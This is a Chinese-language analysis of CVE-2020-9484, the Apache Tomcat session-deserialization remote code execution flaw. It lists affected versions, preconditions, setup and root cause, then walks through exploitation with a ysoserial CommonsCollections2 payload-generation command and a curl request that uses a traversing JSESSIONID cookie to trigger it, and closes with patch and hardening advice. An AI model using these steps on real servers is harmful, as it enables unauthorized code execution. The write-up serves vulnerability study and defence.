CVE-2020-9484 tomcat session反序列化漏洞分析
字数 1163 2025-08-15 21:31:23
CVE-2020-9484 Tomcat Session反序列化漏洞分析与利用
漏洞概述
CVE-2020-9484是Apache Tomcat中的一个远程代码执行漏洞,源于持久化Session的反序列化问题。该漏洞需要特定条件才能利用,但一旦满足条件,攻击者可以执行任意代码。
影响版本
- Apache Tomcat 10.x < 10.0.0-M5
- Apache Tomcat 9.x < 9.0.35
- Apache Tomcat 8.x < 8.5.55
- Apache Tomcat 7.x < 7.0.104
漏洞依赖条件
- Tomcat必须启用session持久化功能FileStore
- tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget(如commons-collections4-4.0.jar)
- 服务器上存在已知路径且内容可控的文件
环境配置
1. 配置session持久化
修改conf/context.xml文件,添加以下配置:
<Manager className="org.apache.catalina.session.PersistentManager"
debug="0"
saveOnRestart="false"
maxActiveSession="-1"
minIdleSwap="-1"
maxIdleSwap="-1"
maxIdleBackup="-1">
<Store className="org.apache.catalina.session.FileStore" directory="./session" />
</Manager>
2. 部署Gadgets jar包
下载commons-collections4-4.0.jar并放在tomcat的lib/目录下。
调试方法
本地调试(使用IntelliJ IDEA)
- 创建项目:创建Web Application项目
- 添加Tomcat服务:在Configurations中配置Tomcat服务信息
- 添加Tomcat源码:在IDEA中添加Tomcat源码
- 配置项目lib库文件:将Tomcat相关jar及源码设为library
远程调试
- 修改启动脚本:修改
catalina.bat添加debug配置CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005" - 检查端口:使用
lsof -i:5005确认端口开放 - 配置debug属性:在IDEA中配置debug IP及端口
漏洞原理分析
当使用Tomcat的session持久化功能时,Tomcat会尝试读取session文件内容并进行反序列化。
关键代码路径
- 路径拼接:
org.apache.catalina.session.FileStore中的file函数直接将id作为文件名拼接,存在路径穿越风险 - 反序列化:读取文件内容后直接进行反序列化操作
漏洞利用
1. 生成Payload
使用Ysoserial生成反序列化文件:
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2 "command" > /tmp/test.session
关键利用链:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2. 触发漏洞
通过curl发送请求触发:
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=tmp/test'
漏洞补丁
Tomcat在8.5.55版本中修复了此漏洞,主要是在文件路径判断上增加了安全校验,防止路径穿越攻击。
防护建议
- 升级到不受影响的Tomcat版本
- 如无法升级,禁用session持久化功能或FileStore
- 严格控制服务器上文件上传功能
- 移除不必要的依赖库,特别是已知存在gadget的库